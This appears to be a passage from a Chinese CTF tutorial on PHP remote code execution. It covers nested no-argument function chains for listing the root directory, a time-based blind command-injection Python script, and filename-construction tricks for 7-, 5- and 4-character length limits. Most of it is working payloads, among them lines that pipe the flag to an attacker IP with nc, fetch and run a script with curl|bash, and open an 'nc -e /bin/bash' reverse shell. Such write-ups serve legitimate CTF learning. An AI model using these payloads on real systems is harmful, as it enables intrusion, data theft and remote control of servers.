某些随机的结果下,字符串末尾会出现/根目录字符,此时只需要使用strrev进行倒序排列

1
/?code=print_r(strrev(crypt(serialize(array()))));

ord()与chr()

1
2
ord():对字符串的第一个字符进行编码
chr():对编码字符进行解码

有了这两个函数我们就可以从长串字符串中获得第一个/字符

1
/?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));

然后我们继续采用scandir就可以实现与ls /一样的功能了:

1
/?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

通常情况下根目录下flag文件都不会出现在首末,所以又需要一个随机的array_rand(array_flip())套上去

1
/?code=print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

这样随机加上随机,等查看到flag不知道要刷新多少次,建议使用burp的intruder

还记得show_source的特性吗,必须还要嵌套上dirname(chdir()):

1
/?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

无回显

页面无法shell反弹或者无法回显,或者没有写入权限可以尝试命令盲注,根据返回时间判断

1
2
3
4
5
sleep:指定页面响应时间
awk NR:语法为awk NR==number,比如awk NR==1为回显第一行的内容
//cat flag|awk NR==1
cut -c:语法为cut -c number,比如cut -c 1为显示第一个字符
//cat flag|awk NR==1|cut -c 1

if判断语句:

1
2
if [ /*条件*/ ];then /*动作*/;fi(finish的意思)
//注意空格

所以可以类比SQL注入里面的时间盲注:

1
if [ $(cat flag.txt|awk NR==1|cut -c 1)==f ];then sleep 2;fi

如果条件为真,那么延迟两秒响应,这里是橙子科技给的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
url="/*目标URL*/"
result=""
for i in range(1,5):
for j in range(1,10):
for k in range(32,128):
k=chr(k)
time.sleep(0.1)
payload="?cmd=(传参格式)"+"if [ `ls|awk NR=={i}|cut -c {j}`=={k} ];then sleep 2;fi"
try:
requests.get(url+payload,timeout=(1.5,1.5))
except:
result=result+k
print(result)
break
result +=""

需要修改的就是目标URL和传参格式以及命令

限制长度的RCE

这一part本人的docker有点问题就没有演示了orz

限制长度为7

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=7){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>

需要的命令符:

1
2
3
4
> 创建不超过七个长度的文件名
ls -t 按时间顺序列出文件名,按行储存
\ 连接换行命令
sh 从文件中读取命令

期望执行的命令:cat flag|nc /*IP*/ 7777比如:cat flag|nc 192.168.1.161 7777

我们的逻辑是将这一串命令分隔为几部分作为文件名,这些文件名用ls -t会按被创建的时间顺序排列:

1
2
3
4
5
>ZL
>AR
>YY
最后ls查看结果为:
YY AR ZL

当我们按倒序创建文件之后,就可以利用ls -t>a将这些文件放在a文件中,最后sh a就可以执行需要的命令了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?cmd=>7777
?cmd=>\ \\
//在创建文件名时利用到的空格和反斜杠和管道符都需要被转义
?cmd=>161\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\
?cmd=ls -t>a
?cmd=sh a

首先要开启kali监听:nc -lvp 7777

长度为5

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=5){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>

由于长度为5的限制,导致ls -t>a无法使用,并且如果写为文件名为空格的话也只能写一次,因为文件名不能重复>\ \\(长度刚好为5),所以需要更换期望执行的命令:

1
curl 192.168.1.161|bash

同时还需要kali开启一个web服务默认index.html页面内容为:

1
nc 192.168.1.161 -e /bin/bash

然后执行curl命令就会下载默认页面的html内容并通过管道符交给bash执行,那么此时kali再开启监听就能看到命令执行的结果

不过由于无法使用ls -t>a,那我们首先还需要构造这一串命令:

1
2
3
4
5
6
7
8
>ls\\
ls>_
//由于默认排序ls\\会被排在最后面,所以就需要把他写入到名字为_的文件里面
>\ \\
>-t\\
>\>y
ls>>_
//采用追加>>的写法将剩下的命令写入_

然后就是构造命令了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>bash
>\|\\
>61\\
>1\\
>1.\\
>68\\
>2.\\
>19\\
>\ \\
>rl\\
>cu\\

sh _
//实际上就是执行ls -t>y
sh y
1
2
3
4
5
6
touch index.html
vim index.html
//在index.html里面写入:nc 192.168.1.161 7777 -e /bin/bash
python -m http.server 80

//这个是创建index.html页面

长度为4

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=4){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>

长度为4导致ls>>_不能使用

首先还是需要构造ls -t>g,其次我们需要构造反弹shell:curl 192.168.1.161|bash的变形:

1
curl 0xC0A801A1|bash //IP地址的的十六进制
1
2
3
4
dir 按列输出文件名,不换行
* 相当于$(dir *)
//*如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev 可以反转文件每一行的内容
1
2
3
4
5
6
7
8
9
10
11
>g\>
>ht-
//加上h不影响命令ls -th的执行,但是可以让生成的文件名ht-排列在sl前面
>sl
>dir
*>v
//这里cat v会看到:g> ht- sl,所以需要把他们写入文件使用rev v,但长度为5
>rev
*v>x
//这里的*为通配符,前可以匹配rev,后可以执行v
//最后x的内容就是ls -th >g

同时为了防止g后面有其它文件名造成影响,可以多创建一个文件g\;;去隔断后面字符的影响

然后就是创建curl命令的文件了,最后执行:

1
2
sh x
sh g

与限制长度为5一样需要kali开启index.html